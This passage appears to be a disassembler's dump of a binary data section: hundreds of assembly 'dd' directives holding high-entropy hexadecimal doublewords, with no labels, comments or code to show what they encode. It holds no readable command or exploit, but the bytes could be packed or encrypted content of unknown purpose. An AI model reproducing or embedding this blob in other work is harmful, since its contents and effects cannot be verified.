		dd 3E4B416Eh, 422F580Bh, 207A787Bh, 8128FA70h, 840E15C4h
		dd 77950FC0h, 50895529h, 0A0460858h, 0E82FFF42h, 0F87D0440h
		dd 274A76ECh, 16FAA339h, 0AFA8E2C8h, 0A16C79C2h, 31066A25h
		dd 0F01CEAA3h, 44FE8320h, 4486A075h, 918756E8h,	1D8B138Ah
		dd 0D8835D24h, 26197589h, 8CC74950h, 743BD3FFh,	0BF577113h
		dd 0C8FC4D10h, 4C8520F7h, 0E8228556h, 0EC28DC82h, 4A3C2874h
		dd 45143449h, 766A442Dh, 25892929h, 438808DEh, 8B1FC34Ah
		dd 2828D55Dh, 1F4CD253h, 19EC18E2h, 300BE883h, 51480E74h
		dd 229E1CD7h, 244EEBE0h, 302B40C5h, 0CE38675h, 0E9225075h
		dd 2539D053h, 69882291h, 289E507Bh, 9207BEF8h, 83B68C53h
		dd 74E04590h, 0E87F3F50h, 0B8447DB6h, 1CC865A8h, 0F4E80883h
		dd 193785FDh, 820984FFh, 0B0AA0816h, 0ABACF0A6h, 400B32ACh
		dd 6ABA873h, 4658EAB2h,	8D9EA9A7h, 7E08103Fh, 0A684C787h
		dd 8753D36Ch, 423C589h,	0B48D0C01h, 2B94D024h, 0BDCD2159h
		dd 313CB909h, 0CC341D8h, 85FB6005h, 44F75DBh, 12E5AC13h
		dd 5407283Eh, 1F0033FDh, 0F1B0FCBEh, 91B9F47Dh,	2A519A6h
		dd 1082EABEh, 0B1F0ACBDh
		dd 2AFF66FCh, 70B2D64Fh, 0A00B399Fh, 0D6508FBCh, 85884509h
		dd 5973ABDCh, 6DDD1E47h, 142041C5h, 5012109Fh, 8C29976Ah
		dd 0A9575604h, 4291494Ch, 8894581Bh, 2D4342FCh,	0F457AEE4h
		dd 14332210h, 0F0C758Bh, 894B0197h, 0C7B81446h,	21BAD151h
		dd 47EF00Ch, 191006C8h,	3F38941Ch, 0BB056220h, 74F3A9C3h
		dd 75DC3BD1h, 95C0DC0Ah, 74C61856h, 2EE92609h, 33023821h
		dd 0E3D0E333h, 2BE4E290h, 42F343DDh, 42D990E2h,	0E359CAE4h
		dd 1A52E2C8h, 2BE71ED7h, 1CE4F633h, 0D8E26956h,	1A8F2C61h
		dd 0D9252151h, 0B9102456h, 0A2D81632h, 0D2E61F2h, 50B7A608h
		dd 9B91E0EBh, 0B883C990h, 2E123004h, 0F2C4EBE8h, 0E868BC09h
		dd 0B1A7BEC6h, 0D0E234EFh, 6FD5E863h, 9E523CE1h, 0F0D2CF93h
		dd 55E82010h, 26B4011Ch, 0C885C6B2h, 80020B6Ch,	51F7BB53h
		dd 92306AE7h, 0BEC9DF4Dh, 662C23D5h, 48E02C84h,	1FE83990h
		dd 25A4B42h, 8E0D321h, 244723DCh, 16D7B7F3h, 13C68BD9h
		dd 83F3A4C2h, 740CFA0Fh, 31ECBA43h, 506A464Bh, 0B02B846Fh
		dd 6841444Fh, 2C352A84h, 38C4750h, 0EB303E74h, 0CCBDC9B0h
		dd 4A7CADB8h, 3CF3212h,	0F70509B2h, 75123007h, 4046A09h
		dd 4255F068h, 16EC1359h, 492054A4h, 0C648643h, 6804EFC3h
		dd 52D29760h, 22525124h, 6A332A65h, 0C5F36CA4h,	0A548831h
		dd 0C48A1713h, 8A6789DFh, 40F36C10h, 307C0311h,	6A7170BEh
		dd 9C68683Ch, 3D04A34Fh, 0E921EFFCh, 3CC71122h,	6584DD45h
		dd 8AD21738h, 3032018Ch, 0C22B990Bh, 60DC08D1h,	29640CB2h
		dd 0A004B084h, 440A8DBEh, 0A89F430h, 160C20B2h,	857C0CF5h
		dd 802143BDh, 0B0C8506Fh, 0B432D45Bh, 0CC0CF516h, 1143BD85h
		dd 0B9DF188h, 0E080177h, 2CE8890Eh, 0E1988AE6h,	3F66565Ch
		dd 21C51A53h, 0CA1BB21Ch, 0BB0088EBh, 0B0C4CB4Fh, 0F6388955h
		dd 535B4CC3h, 4413C4A7h, 81032998h, 0D985A8BDh,	0FFC3425h
		dd 134E8535h, 0A3593FBCh, 4BFA0C28h, 598782E5h,	4742FD5Ch
		dd 0C178502h, 688935FDh, 1764EB89h, 5D32205Bh, 531690DBh
		dd 0C9805B68h, 0BA63E201h, 0CDBC13D6h, 8B781509h, 950873CAh
		dd 763C520Fh, 0F955E9C4h, 26AFC65h, 0F73D22C4h,	52C7BFD5h
		dd 0AB386A4Dh, 0FF5A6C97h, 8AC808EBh, 8A01CF63h, 0BF6274F8h
		dd 788586A0h, 4738E857h, 8AF08BB9h, 17FF24B2h, 30628D20h
		dd 27EABF60h, 7050C4A9h, 481D6A05h, 31EFD868h, 81507439h
		dd 7C027E80h, 4418660Ch, 28CC3AECh, 0A9F806F0h,	0BC15701Ah
		dd 861E3314h, 2D9B6F5Fh, 5911570Ch, 6C66C4BEh, 4BE9253Bh
		dd 0B041A74Bh, 68151253h, 0D6F512Dh, 95552D6Bh,	0A4302770h
		dd 0FB96E031h, 1E628302h, 26853282h, 10E9E4A2h,	4E4E9BBh
		dd 0F016F654h, 0FE64835Dh, 9CE9843Bh, 29553751h, 32B62DBDh
		dd 7F2DDF45h, 89A5DC2Ch, 617B1FFAh, 722C41BFh, 9337A2D6h
		dd 0B70CBFF0h, 53544E16h, 2CFF56A7h, 0ABC1A898h, 40E6578Dh
		dd 1CA9F32Ch, 0AE0595F8h, 8B78EB07h, 7CC55D7Dh,	7340C937h
		dd 5603018Bh, 275359EBh, 0E82F643Ah, 0BEE97460h, 0C03553B9h
		dd 11ECE10Bh, 322E5744h, 0A7565325h, 28299EB4h,	0EBF25907h
		dd 0D028BC18h, 11021D2Bh, 127FCE8h, 3350A05Ch, 7DEB2EC0h
		dd 0C61121CDh, 1AB96FF6h, 0D87BE50Dh, 132D4B2Bh, 9C72BF0Eh
		dd 32904609h, 0DE7C0601h, 9D3947EBh, 2975DB48h,	252D531Dh
		dd 0AA204ABCh, 8E0895F6h, 7ABCC249h, 59934D73h,	0E98D4B8Fh
		dd 80396039h, 6C0BBB62h, 0B5E80107h, 0A3915109h, 4AED29C0h
		dd 56A02B32h, 11F079AEh, 230F1E6Bh, 43A308F0h, 3841F490h
		dd 0A9FB646Bh, 0D3F2C9AEh, 83D804EDh, 0E386A0FBh, 0F04408B4h
		dd 74165349h, 59CD2CC9h, 0B26090ABh, 95384C53h,	0C656AB11h
		dd 69F6D990h, 95BF5980h, 6850B6A0h, 694605Ch, 21FEA5BAh
		dd 22D6E858h, 4D981A7Ch, 0FDD0DC35h, 31CA212Ch,	0F5FF04Eh
		dd 1C94AF21h, 82A49210h, 21254624h, 38531260h, 979544EAh
		dd 904421C6h, 7010C86Bh, 698724E0h, 1E10C851h, 0DEADD290h
		dd 1C95EB4Ch, 11B442C4h, 0C4BC2517h, 1C69238Eh,	2924DB13h
		dd 8A0F2EBDh, 46E3354Ch, 34CF4888h, 20C5AC18h, 21EF42FEh
		dd 5B10084Ch, 111D2142h, 243801C4h, 909CFC1Ch, 42687C67h
		dd 0C8561D02h, 672A91CEh, 240F2532h, 7B43C866h,	401CE114h
		dd 0AC23F8C4h, 864FA8C8h, 2222BF56h, 0C83C95D6h, 9D107943h
		dd 8FC0821Ch, 0A3983843h, 10840AF5h, 0DD754A58h, 0C8DE04C9h
		dd 0DE120952h, 3C64C759h, 1B47EF3Ch, 5F388082h,	0C4EC900Ch
		dd 22EB20DFh, 60BE212Eh, 2CBB2557h, 30319920h, 15CA312Bh
		dd 8754181Ch, 591C0209h, 30B46ADDh, 1BF1E888h, 8CCB195h
		dd 43643B48h, 17DA2AEEh, 0C8761048h, 358C8AB7h,	50794A93h
		dd 7C25F73Bh, 47BD6CEDh, 9D88044Ch, 4CBAD354h, 0E80D5547h
		dd 247D3C69h, 0C9AD24DCh, 0E2F12D8Fh, 12291CECh, 8762BC1Bh
		dd 0F18C1822h, 1B592586h, 7021C96Ch, 31A86422h,	38111B3Fh
		dd 87981C5Fh, 0BEC45811h, 0BD8B611Ah, 0A4D2FD2Ch, 0CE9553CFh
		dd 0E9B8B1DEh, 0A844C752h, 6402EBEh, 0F8BC62E7h, 0BE029534h
		dd 10535B74h, 247DD045h, 0E0BA322Ah, 0A94227B4h, 0AAE028A5h
		dd 4CB6B195h, 5D429808h, 841A7310h, 0B438B7FCh,	1A5B2386h
		dd 4842410h, 0A448225Eh, 0B6AC902Bh, 301894E2h,	5890851Ah
		dd 912E788Ah, 0B6844A1Ah, 0A8126D24h, 0FB0FB5A5h, 503A8C41h
		dd 2AB9CF11h, 1124B132h, 84580856h, 85C8421h, 0EC4419C9h
		dd 2186D43Ch, 0A46419B1h, 0D8990422h, 0FE2DB29Bh, 4F0F6024h
		dd 481382E0h, 0CF8BC15h, 567CF285h, 5491DFAEh, 0F2C33897h
		dd 322A0341h, 0FC10ECBDh, 0E6B94EE8h, 608F4F7Eh, 0BD51F069h
		dd 0C2397649h, 607E066Ah, 13B2E75Ah, 975DF29Fh,	8A89B23Ch
		dd 0E8CFB454h, 71402E58h, 20433372h, 0F7AC2157h, 57895311h
		dd 848AB559h, 46792C59h, 0DE88274Ah, 365A3042h,	0A8A41F42h
		dd 91F023B9h, 929D880Dh, 0B2B8B357h, 75641597h,	118EFC7Ch
		dd 7E43A430h, 0E1EC428Eh, 0EC08EF3Ch, 73512186h, 51B1A95Ch
		dd 0A20BAB21h, 0DD85C716h, 108A0A73h, 186DEF7Ch, 1C94FE37h
		dd 409332D4h, 0FE4C0E1Ch, 9424A402h, 0B0E6B7A8h, 83C18B05h
		dd 7F90460h, 1B537B7Ah,	0C60C245Ch, 0E8C8F1B3h,	0FEBE1F1Ch
		dd 0F855989h, 43B05740h, 0B3E81057h, 0A2A44F16h, 816C520h
		dd 8985CC17h, 8A045E39h, 9BC68B3Eh, 5A08C28Bh, 0A6C3979Bh
		dd 56D9801Eh, 3144D49h,	19083C71h, 851EDA4Eh, 74F600F0h
		dd 8305FB2Eh, 85407196h, 2F950CF7h, 0CC58AE2h, 3671498h
		dd 210D2C6h, 16B4E81Dh,	8930E766h, 5F33A87Bh, 5DC3408Bh
		dd 6810C234h, 6D5891Eh,	400732A9h, 598FA101h, 0A7536683h
		dd 8D5E8226h, 0A60335A8h, 0DE3DF246h, 1E7D828Fh, 0E840DB33h
		dd 9D1D0F7Fh, 0E3CF4BC3h, 39C5DFEh, 5D60E27Ch, 59BFBA1Eh
		dd 2C58364Eh, 0C8505CCAh, 0F915894Fh, 0C6FB9DF2h, 288A0F75h
		dd 0FF07880Eh, 478DA776h, 0EB36C1DEh, 82F1C61Ah, 0F8C1A983h
		dd 20418808h, 5202D91Bh, 0A00C031Ch, 83A0A614h,	77A6DFBDh
		dd 0FB42F9B5h, 0B0FC8759h, 1CF57399h, 6906951h,	61F84D8Dh
		dd 0B8C244D6h, 24B158D4h, 0B772E9E8h, 0EC6A8929h, 40FCE903h
		dd 1DC88A15h, 0A83CA295h, 514E9415h, 75D0FA6Ch,	768AFC52h
		dd 0A554F865h, 8B18A630h, 0FEF5F5CEh, 6E933E56h, 9654E440h
		dd 23E7E81Ah, 2DC97A04h
		dd 7C145554h, 447F4558h, 72321968h, 36F80CBFh, 717D0689h
		dd 0A86466DAh, 0C5282FA8h, 64277C90h, 4E7CAD1Ch, 110C1B92h
		dd 5E0EA2DCh, 1A1404C2h, 0DAA21E44h, 61305B23h,	99D28CE8h
		dd 0C328DD4Dh, 84E3D5A1h, 0A4263DCh, 54446B06h,	69C3292Eh
		dd 22600C15h, 77FCCA4h,	6BABA957h, 2BCBB64Eh, 2CB83854h
		dd 9F0579E8h, 0EA80A7BFh, 0F107D39h, 3338F13h, 185DB840h
		dd 3F08438Dh, 8719C73Bh, 9B561D25h, 67CED04Ah, 84E0104Bh
		dd 0C2B0334Ch, 84FD1B44h, 0C0084F48h, 0C8673428h, 0D8332C84h
		dd 502924C2h, 607C22F6h, 49CD7FCBh, 45710377h, 91BE0F0Ch
		dd 3C10B29Fh, 7FE0F39h,	0F90804BEh, 6A56C234h, 5B007042h
		dd 0EAAD3613h, 683108FCh, 88E87370h, 21535D9Ah,	0A4E4BD4Bh
		dd 955B875h, 2B2197B5h,	390916F1h, 0FE646C8Ah, 47E2C4A8h
		dd 6FEA0468h, 832BAD20h, 0CD11B5FEh, 0C2A5629h,	5C58446Ah
		dd 118B62A6h, 68364076h, 2A2EA110h, 0F00EFC73h,	3591BD9Fh
		dd 0C73B6ACh, 0A4FEE41Ch, 0FCE42916h, 8434444h,	0FC68C118h
		dd 0FC6B4763h, 0F8A6FE20h, 1E658843h, 10444DD5h, 92932B17h
		dd 2B1D10C7h, 4F71437Dh, 7CC5A184h, 0A4324872h,	0C008EC29h
		dd 19EF1C32h, 0B7020DB4h, 53644EE1h, 61152CE9h,	598FCFFCh
		dd 0E4202614h, 0F202C841h, 0D434A5BBh, 2A520E54h, 0C4430EADh
		dd 9C9F7464h, 0C693A79Eh, 31FC1F89h, 91E21778h,	0D54F0F5Ah
		dd 43244120h, 0D8D81912h, 80CE168h, 8688DC93h, 680285FCh
		dd 1EF336F8h, 3487F153h, 4AFB17CCh, 65253444h, 0B473313Ch
		dd 0F0F008FBh, 9266F113h, 2E500B3Ch, 0C27DBDCh,	0B2064C21h
		dd 621BA73Ch, 0F46811B7h, 0CC5659ACh, 8DF559ABh, 0DB469F60h
		dd 7C1441A9h, 9D5BC851h, 0CA2BEA68h, 0BA2BA11Ah, 469F56D5h
		dd 5114A3B0h, 8A30C874h, 6456E468h, 8E856C76h, 5212647h
		dd 0AD3E010h, 0CF564B1Ah, 2B5A8A70h, 0C4FAE262h, 0C6087372h
		dd 0D895E2Ch, 480ABC75h, 110EEB04h, 5FC41048h, 0E54FE3E7h
		dd 28D47126h, 5B3658D3h, 20F93213h, 5B76E992h, 915B13E6h
		dd 0F401469Bh, 6CB9B589h, 13BD283Bh, 0FD9018DDh, 0C24F2A90h
		dd 0E52F0A8Ah, 89A8D015h, 753B914Ch, 0F04E3652h, 0BC4A3514h
		dd 0CD60D5F5h, 65108133h, 0D06B111h, 6538560Ch,	0A7A129D6h
		dd 0AD5B532Bh, 0B253F4Bh, 6EFDA904h, 9474FA9Fh,	3454360Bh
		dd 1A8E3D84h, 0F7FE5098h, 0C01BD80Ah, 4E4C440h,	0E6DE59E8h
		dd 415F8FB9h, 12E0ED36h, 5ED9187Ch, 0AC897D68h,	655273CAh
		dd 0F0100C20h, 1868172Fh, 5F089261h, 3080D85h, 486831DCh
		dd 0BAB0214Fh, 502F487Eh, 7303296Bh, 0DB603B5Eh, 0E8533921h
		dd 625A03Ah, 68DF1203h,	1EB586CCh, 7C612B45h, 0DD85EE30h
		dd 589056A5h, 0FF352643h, 484322B5h, 32EAA084h,	703BEBDBh
		dd 8C015EBFh, 0FE4EFCA6h, 0B5961FCCh, 5665A466h, 2A480B14h
		dd 0D6740A1Ch, 16757121h, 0B310142Eh, 392A9301h, 8A5913B7h
		dd 83D09CC3h, 52D220E4h, 0AA5430E0h, 0ECFC19A0h, 48DD236Eh
		dd 2E00ADDCh, 20137645h, 0A43529C8h, 81CD9C40h,	0E07D8006h
		dd 52342682h, 0D9E8C532h, 0B2E5205Eh, 0CBAA5712h, 0E0C184DDh
		dd 1C23A803h, 0DCC26DDFh, 2212400Dh, 312D190Eh,	4E8C1509h
		dd 383555DDh, 241CC88Bh, 1FD14EE8h, 59C08ED3h, 0C53A373Dh
		dd 78A355E5h, 263B80Ch,	1D44A46Dh, 8A2C0BECh, 0D4791345h
		dd 28BB4E26h, 887F8289h, 535E55B0h, 5B01ACD1h, 8F228655h
		dd 39FAA082h, 2859D445h, 0D2F10A73h, 5FF094Bh, 58D3CC44h
		dd 1186D804h, 0A35D87F4h, 31E07BFh, 436A0472h, 151012EBh
		dd 0F4747502h, 0E9018908h, 888FB303h, 0DC5828D8h, 804ED99h
		dd 82E25096h, 3B940818h, 3B0F54B1h, 0E4B841DFh,	0D3D6E676h
		dd 80CBBA39h, 0F07D8DD1h, 3F02E9C1h, 0CA87A5F3h, 7503E183h
		dd 8A980BA4h, 556E370Eh, 2F9C060h, 3F73E180h, 8803E21Fh
		dd 0F124ECD9h, 7041E90h, 0C5D010Fh, 293E297h, 0F14032CAh
		dd 0F204ED2Eh, 0F46060Ch, 86912951h, 0F633033Ah, 91024138h
		dd 7969EE32h, 0EF16DF0Ch, 11F760Ah, 0BE02B745h,	0A1EC3544h
		dd 0A0808ACAh, 0A3413C32h, 88284E21h, 0E3B4617h, 0B65472ECh
		dd 4B48767Dh, 1D034418h, 96C3B815h, 681AE226h, 0A4F14397h
		dd 395E0CE1h, 1237734Ch, 3DB60A2Bh, 0E83BC670h,	4E7F3524h
		dd 0DD45F14Bh, 34BEF587h, 1490D5A5h, 17774D55h,	150688CEh
		dd 0FF0A2DD5h, 9BF64835h, 245C268Dh, 4BA32893h,	80E05D12h
		dd 4153B04Ah, 2604E608h, 88F416D7h, 8938646Eh, 0A2036A0Dh
		dd 109D8090h, 0CA108B1Ch, 0B265D6C5h, 9348E484h, 9592DB33h
		dd 504C1E92h, 120CD23Ch, 5BEC7A1Ch, 8D9A07C6h, 0C1363474h
		dd 6B154085h, 3B14DA30h, 98D399FBh, 0B8E83C44h,	3BFF5860h
		dd 0F80275CBh, 5D3906C8h, 68037418h, 501251EAh,	39BDF868h
		dd 3BCE5724h, 0C90326DFh, 3B61A199h, 3B4274C6h,	32D56302h
		dd 59A1643Eh, 0EE11AC92h, 13E431E4h, 0FEC683ADh, 16850E82h
		dd 5FBB622Bh, 0BB1EF562h, 2488D599h, 0A5800506h, 0C9EED4DCh
		dd 0EE8A3ADCh, 6823DD31h, 1C396F8Fh, 634C1001h,	8E0D442Ah
		dd 0B854270Ch, 0FF7ED9E9h, 17B32C3Ah, 1C105843h, 0FC6B8464h
		dd 0E8C536E9h, 5CD92F8h, 47481F5Ch, 9F64464Ch, 82E74B93h
		dd 508461E4h, 8B5CB076h, 1205084Ch, 0E4F4D89h, 4404530h
		dd 65F5D613h, 29411379h, 75F4D2F3h, 0FE6E258Eh,	0DF355E10h
		dd 8C9798EDh, 0B0ACCFDBh, 0ABE67D12h, 0AA770BA3h, 0C71A5FAFh
		dd 9F0F1CDFh, 0E849601Ch, 8785F9Bh, 0ACCD8B81h,	7550803Ah
		dd 51858A40h, 0CB400FC3h, 5889F48Bh, 9970FB65h,	0B6ED961Bh
		dd 0B3267932h, 176D6A12h, 139C30BEh, 99442D03h,	5DB8F8E6h
		dd 5FDF621h, 0AC35EB1Ch, 98BCC83h, 1D0E5675h, 2DF5992Ah
		dd 9D6518EBh, 1A12758Ah, 0E6FAA5C2h, 0B60F1734h, 70ABD9F0h
		dd 68120B4Ah, 43B703E8h, 0F4452676h, 28539E7h, 0B6FA8C0Fh
		dd 0C16F3EC7h, 0A974489Eh, 0AA12AF83h, 52FA7F0h, 78A0891Ah
		dd 2579A684h, 0FDD9F9DCh, 80F7F42h, 97654A11h, 0D2DBDA66h
		dd 0FFC4D135h, 78045EC3h, 4A15871h, 8859297h, 2B3B51F2h
		dd 0C33B8046h, 78E80577h, 859AC0B2h, 8B3376DBh,	0B15FB48h
		dd 21087E03h, 151E821h,	206E222Ah, 3024A6C9h, 0B7BC5097h
		dd 85A031Bh, 10A0ED6h, 0D84C1834h, 38805089h, 745F3824h
		dd 0C59729Fh, 211F4634h, 8F8E731h, 0FF8C1E66h, 142FEE7Dh
		dd 5F0837A9h, 0B07D157h, 5DF6735Eh, 0F99CB0DCh,	0B143393Bh
		dd 0B3F6AA73h, 85145BB4h, 0F0AA81F3h, 30F3612Bh, 4CB0738Ch
		dd 6A4B0AD3h, 0F3E3331Eh, 0C0CFFAF1h, 91018683h, 0BD4637C2h
		dd 897AF1F4h, 579EB19h,	7FC1765Ch, 5FCF75F0h, 0D69C1D78h
		dd 80903005h, 0FE12FF78h, 1E182973h, 0AAE4E84Eh, 3E1B1C99h
		dd 3B7F4789h, 4F37084Bh, 3B966AD2h, 40FE2473h, 97862DE8h
		dd 35565556h, 2E2829C3h, 56848EC8h, 8BC0C103h, 2AE80477h
		dd 53A0094Ah, 897ECD47h, 23C70230h, 0F4FCC25Dh,	21907C25h
		dd 0FF8320A0h, 0C876FD28h, 2B10222h, 0D233044Eh, 6840CA3Bh
		dd 0FF1D418Ah, 19D2C23Ah, 15DFBC1Eh, 4C75FAC0h,	2F52C8FEh
		dd 0FA264188h, 0CBBCD94Eh, 152B4518h, 24541738h, 84141010h
		dd 65E7607Eh, 85689EAh,	0AA11883Dh, 174815E3h, 0F00C263Dh
		dd 3BFA1F18h, 18732AC7h, 1670C8CEh, 3905EB80h, 32730C7Eh
		dd 0DF1F5708h, 0A5D4CA2Bh
		dd 830B8053h, 74A6E804h, 0BE729222h, 8D1B00FCh,	408AFF48h
		dd 0A993FBEh, 0F49806FDh, 5107C288h, 174A56B8h,	8D110DDh
		dd 0BCBD09A0h, 1AC123C0h, 0E382C310h, 74F92FE8h, 0F3E81A96h
		dd 0E8B88097h, 1C990852h, 86E34A7Bh, 0C48444Ch,	427788BFh
		dd 452AB237h, 0A1A00A1Dh, 32340826h, 0C62B2614h, 2730B2Dh
		dd 2A27F509h, 44F6332h,	0CE03D2FFh, 19578775h, 0BF0D854Ah
		dd 6CB15916h, 22F32BA7h, 0B9D750CAh, 0A291995h,	5E4C6125h
		dd 0CFC48C06h, 0ADA48CB8h, 22164255h, 7D8B310Ch, 231FCF70h
		dd 2EEE4C6Dh, 0EC056AF0h, 13170376h, 478D4502h,	72F88F02h
		dd 794871A8h, 4E199310h, 270837F0h, 0D50B25EBh,	0C0834222h
		dd 16781BB9h, 0B8590535h, 83404E57h, 80648B39h,	0B5D6E87Ch
		dd 1776243Eh, 0AF513A66h, 67A250D1h, 770295F8h,	36510758h
		dd 85E8B04h, 969A7C8Ch,	40894F12h, 803DAA50h, 5A54CE60h
		dd 62773287h, 0E21D4AFBh, 0B1DBAA8h, 62ACB2B5h,	0F959B19Eh
		dd 218BE947h, 468A22FFh, 921BE148h, 0B617598Ch,	1E994E34h
		dd 240E97F6h, 7A7C889Ch, 0C37621D8h, 7C050EF6h,	1004697h
		dd 0D800775h, 27DC09AAh, 0AA4FCA6Fh, 0D33BE80Ah, 1B3C344h
		dd 4A0E3C10h, 562D1AA2h, 3B571961h, 8133270Bh, 65B8BE2Fh
		dd 0B904163Fh, 0C7C403F7h, 62B0C845h, 0A8CC0E1Bh, 8698D018h
		dd 8888D421h, 0DC6278D8h, 93C32970h, 41E80620h,	0EF823FF0h
		dd 0D466241Ch, 0FAA109FBh, 2B9FF050h, 10D6C332h, 0D2A4202Eh
		dd 0D925F1F2h, 50F00790h, 26A33C5h, 9B0F3273h, 0E63140B4h
		dd 6184F253h, 3D8B139Ch, 91227B60h, 124EDCC4h, 8373D0BBh
		dd 0C36E683Dh, 1D3C190Ch, 0C89B812h, 4D07B7FEh,	302751FFh
		dd 0AB2448Dh, 0A590C54h, 40015AADh, 3C2568F5h, 0F065A265h
		dd 0C229DC04h, 1AA46AE6h, 429FB7F1h, 0D8426426h, 0AC59D6B0h
		dd 0A70AB60Eh, 58D45361h, 1C757492h, 0CB3A3D6Eh, 84567916h
		dd 87C683D7h, 3EAE3EA3h, 0E9897501h, 5120AF9Ah,	115CB47Eh
		dd 538EC2E5h, 0D9E0E826h, 0DDAA2CDh, 0F9E31E2Ch, 0BAC126E4h
		dd 64AC11A0h, 945C2942h, 86142094h, 0A98DFD6Ah,	74185C38h
		dd 69BE372Fh, 0DE945638h, 8CC83453h, 0C322864h,	5F1F1B1Fh
		dd 228B2342h, 108348B4h, 0BB140424h, 740549CCh,	0B4C5E955h
		dd 0AA9DBD9Fh, 0E893B07Bh, 0DF681EE5h, 4EEDB65Bh, 291713DEh
		dd 7481B6DCh, 3B11FD42h, 0F708A960h, 926CA402h,	0C85B48F9h
		dd 690F018Ah, 2CD971A9h, 870599F0h, 0DCFD7B08h,	45EAE221h
		dd 0DDB1A89h, 0BD441657h, 9A08D117h, 1011DC03h,	0C2F84267h
		dd 7FAC6487h, 1FC5DA52h, 0B1D7EC4Fh, 750F5FF0h,	0B0DE075Eh
		dd 9A5E9358h, 7BBA1B0h,	0A30101Fh, 8EA3D2AAh, 9C66532Fh
		dd 7EC83AC9h, 7AC149E6h, 9329690Eh, 74EB5EC8h, 779D4806h
		dd 2732A4DFh, 480074BBh, 1874F88Bh, 4E46BF0Fh, 0CED0B0Ah
		dd 3CF46C11h, 59022D66h, 0AB0392D7h, 9C466816h,	4936660Ah
		dd 0F0356308h, 688B6082h, 0DCA40598h, 2F81DC6Ch, 9F6992F2h
		dd 20ACE545h, 350A6592h, 0AEBAFD52h, 0E64B72BCh, 2D019E7Bh
		dd 0FD47446Dh, 995D7218h, 9C7F3615h, 5D4D936Bh,	96EBA8A8h
		dd 0CCB9328Fh, 0CBFCF22Eh, 0F149ECD2h, 0CA7B0A6Ch, 0B9010B33h
		dd 0C2DEFCA9h, 5B06F924h, 988916E0h, 85FC91A0h,	70167594h
		dd 15B6818h, 26C79157h,	0BDE8873Bh, 89D7169h, 682AFBC8h
		dd 78E85B80h, 8EF91658h, 815010D7h, 71AA83FAh, 27F9864Bh
		dd 13887EECh, 0B2F99A3h, 0BF655357h, 0D845C831h, 686192Eh
		dd 3F456A68h, 4DAA8956h, 9833B42Dh, 7ECEE82Eh, 80042566h
		dd 0A4B8C3C1h, 3920C021h, 5C84BA9h, 0CC240AB8h,	2CA594Ah
		dd 8C9975C8h, 92A014BCh, 0C38B0B07h, 5D1127E9h,	0C429BF0Ah
		dd 0A39D5289h, 7C9DA34Eh, 0AFDCB529h, 3DEFD025h, 17D08D41h
		dd 0BB4DEF59h, 26AAE304h, 566515B3h, 0DA85002h,	3A64E192h
		dd 0AAD5DD9Ch, 39F706C1h, 8F2C26Ch, 6FC9C57Ch, 0A258B964h
		dd 8A89B2FDh, 540F07E6h, 561964E8h, 4B255A84h, 9FE8DF02h
		dd 0B2965EABh, 3B208184h, 5E75F47Dh, 82F0127Ah,	99511028h
		dd 0D589C89Ah, 58C42019h, 2984586Bh, 829C39C9h,	958D1676h
		dd 2F0AF93h, 41070C74h,	3B04C283h, 720A16FAh, 754208F0h
		dd 0AC8E216h, 0D02DA08h, 8F8D8489h, 10858A28h, 17BD3B14h
		dd 3C53037Eh, 8515E509h, 0F4886974h, 2E932D3h, 0B4B256ADh
		dd 3EFEAD09h, 7F0298E8h, 8C958B52h, 1A3BE233h, 403A76D6h
		dd 0C6386D24h, 0C040DABCh, 0F47206CAh, 0E4A26EBh, 8D1B7314h
		dd 508B805Fh, 52894104h, 436C3210h, 0EC7A7237h,	4E938BA6h
		dd 39BE984h, 493A25C9h,	123350A7h, 687421BDh, 0E8884890h
		dd 0CCA82C4Ah, 68151842h, 8B2C1188h, 0D2186434h, 0AE810DFFh
		dd 13706816h, 8C889EE9h, 660CE325h, 7093D58Ah, 1614492Eh
		dd 1E432420h, 906E4888h, 386832F7h, 8502FA10h, 1EC83090h
		dd 42681078h, 0C4D6211Ch, 1FA3118h, 681E0E0Eh, 0B22151F8h
		dd 4428F0C7h, 0AC2428D6h, 0EC682AEBh, 3BBF5217h, 0D86813C2h
		dd 880A7711h, 0D443549Bh, 106F8423h, 0B8713C88h, 1385600Ch
		dd 0BED80637h, 0B992278Ch, 13FEDC21h, 8B9CAD50h, 1B168566h
		dd 59C10AAEh, 1E5AC910h, 4FACD34Ch, 0F1E9C902h,	844EB901h
		dd 185120Ch, 0BE056A2Ah, 2B61196Ch, 8F664E02h, 13E27E50h
		dd 82CCE8A4h, 0F985965h, 41A6AFEBh, 0D1386443h,	380F3A46h
		dd 305C50B8h, 5ACC46BDh, 325AB308h, 55EC09E0h, 0E4E2DE1Bh
		dd 3C150465h, 0F6283739h, 8A6F280Ah, 8B8A86DBh,	0CD6F3DF8h
		dd 53A1DCDh, 24326A10h,	134DD51Fh, 0F82ED223h, 68571090h
		dd 2E413454h, 0C4832BC2h, 0C98C3244h, 1155BE4Fh, 7C771F39h
		dd 28543A90h, 8E3FB33h,	7F5D9024h, 4C08451Dh, 0E449E919h
		dd 70D34724h, 2B20DC86h, 6CA091D3h, 4AD4785Ah, 0D3294A67h
		dd 9C984D83h, 9822D942h, 360148A5h, 4A3B783Eh, 9016A76Dh
		dd 17C29658h, 1233BC68h, 32F928A4h, 1971B803h, 2422FDA2h
		dd 675C21F7h, 0CB897214h, 0DCDE0B14h, 2375857Eh, 0BF1D2756h
		dd 32F2BCEFh, 78D3C3Eh,	0E874741Ch, 0B3D3AC27h,	10F7F27Dh
		dd 0F9C657BEh, 4CD42CEBh, 976FDE20h, 0DB941F49h, 5C435889h
		dd 0B6175BBh, 14681B42h, 0A5638B59h, 8B7883CAh,	828B470Ch
		dd 8E0FC210h, 89D33A69h, 0F6216221h, 5662CBCEh,	0C1BF5071h
		dd 2597532Dh, 6AD1CCE3h, 6F2D2FE1h, 0D8A33C51h,	0F0C88928h
		dd 93AF327h, 61E20C75h,	0EADB53h, 0C59F2820h, 23AE2C22h
		dd 64F01111h, 334BAC0Ch, 82826D52h, 5E5577Eh, 0BFFCA4CCh
		dd 6A196545h, 0FD2C7C4Fh, 0B02C1443h, 533064A2h, 3A736BF2h
		dd 46006074h, 3E75100Ch, 0E69CBF57h, 51D30CA7h,	422D9EFAh
		dd 0FC3810D4h, 575284FAh, 0B4ECC88Ch, 4053B350h, 0C904743Dh
		dd 36E8565Fh, 9D0BCBC9h, 0B64E9991h, 28F01158h,	253E402Eh
		dd 0ECB91EB0h, 14C41C9Ch, 3330418Dh, 0E1819D5Eh, 3A03ACB0h
		dd 35FE68Ah, 0FA11E840h, 0E93CEA84h, 0F7FD5FA4h, 0E48269FCh
